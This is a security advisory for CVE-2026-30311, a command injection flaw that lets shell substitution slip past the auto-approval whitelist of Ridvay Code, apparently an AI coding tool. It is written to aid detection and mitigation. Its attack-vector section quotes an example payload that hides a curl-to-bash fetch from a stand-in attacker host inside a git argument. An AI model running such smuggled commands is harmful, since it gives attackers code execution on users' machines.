CVE-2026-30311: Ridvay Code Command Injection RCE Flaw

CVE-2026-30311 Overview

Ridvay Code's command auto-approval module contains a critical OS command injection vulnerability (CWE-78) that renders its whitelist security mechanism completely ineffective. The system relies on fragile regular expressions to parse command structures; while it attempts to intercept dangerous operations, it fails to account for standard Shell command substitution syntax—specifically $(...) and backticks. An attacker can construct a command such as git log --grep="$(malicious_command)", forcing the system to misidentify it as a safe git operation and automatically approve it. The underlying Shell prioritizes the execution of the malicious code injected within the arguments, resulting in Remote Code Execution without any user interaction.

Critical Impact

This vulnerability allows unauthenticated remote attackers to execute arbitrary OS commands by bypassing the whitelist validation mechanism through Shell command substitution techniques, leading to complete system compromise.

Affected Products

• Ridvay Code (command auto-approval module)

Discovery Timeline

• March 31, 2026 - CVE-2026-30311 published to NVD
• April 1, 2026 - Last updated in NVD database

Technical Details for CVE-2026-30311

Vulnerability Analysis

This command injection vulnerability exists in the command auto-approval module's input validation logic. The security mechanism was designed to whitelist safe commands (such as git operations) and block potentially dangerous ones. However, the implementation uses regular expression-based parsing that examines commands at a superficial level without understanding Shell interpretation semantics.

The fundamental flaw lies in treating command arguments as static strings rather than recognizing that the Shell interpreter will recursively evaluate embedded command substitutions before executing the parent command. When a user submits a command like git log --grep="$(id)", the regex-based validator sees a whitelisted git command with what appears to be a harmless search string argument. However, when executed, the Shell first evaluates $(id), runs that command, and substitutes the output into the original command.

Root Cause

The root cause is improper input validation that fails to sanitize or detect Shell metacharacters and command substitution patterns. The whitelist mechanism performs pattern matching against the raw command string without parsing it according to Shell grammar rules. This allows attackers to embed arbitrary commands within arguments using $(...) syntax or legacy backtick notation, both of which the Shell interprets as subshell execution directives.

Attack Vector

The attack vector is network-based, requiring no authentication or user interaction. An attacker can remotely submit a crafted command string to the auto-approval interface. The payload structure follows a simple pattern: any whitelisted command prefix followed by an argument containing command substitution syntax.

The attacker constructs a payload where a recognized safe command (like git log) contains a malicious command embedded within its arguments using Shell substitution syntax. For example, submitting git log --grep="$(curl attacker.com/payload.sh | bash)" would appear as a legitimate git search operation to the validator, but upon execution, the Shell would first retrieve and execute an attacker-controlled script before attempting the git operation. This results in unauthenticated remote code execution with the privileges of the process running the command approval module.

Detection Methods for CVE-2026-30311

Indicators of Compromise

• Commands containing $( or backtick characters within quoted arguments passed to the auto-approval module
• Unexpected outbound network connections originating from the Ridvay Code process
• Unusual child processes spawned by the command execution component
• Logs showing whitelisted commands with anomalous argument patterns

Detection Strategies

• Implement monitoring for Shell metacharacters ($, backticks, pipes, semicolons) in command arguments submitted to the auto-approval system
• Deploy application-level logging to capture full command strings before and after Shell expansion
• Use behavioral analysis to detect command execution patterns inconsistent with typical git or other whitelisted operations

Monitoring Recommendations

• Monitor process execution trees for unexpected child processes spawned by the Ridvay Code service
• Implement network egress monitoring to detect unusual outbound connections from the affected component
• Enable verbose logging for the command auto-approval module and review for suspicious argument patterns

How to Mitigate CVE-2026-30311

Immediate Actions Required

• Disable the command auto-approval module until a patch is applied
• Implement strict input validation that rejects commands containing Shell metacharacters or substitution syntax
• Apply network segmentation to limit the blast radius of potential exploitation
• Review logs for evidence of exploitation attempts using the indicators of compromise detailed above

Patch Information

Monitor the Ridvay Security Blog and the GitHub Issue on CVEs for official patch announcements and updated security guidance. Apply vendor-provided patches immediately upon release.

Workarounds

• Disable the auto-approval feature entirely and require manual approval for all commands
• Implement a strict allowlist approach that validates not just command prefixes but the entire command structure including arguments
• Use parameterized command execution that separates commands from arguments, preventing Shell interpretation of argument content
• Deploy a Web Application Firewall (WAF) or input filter to block requests containing $(, backticks, or other Shell metacharacters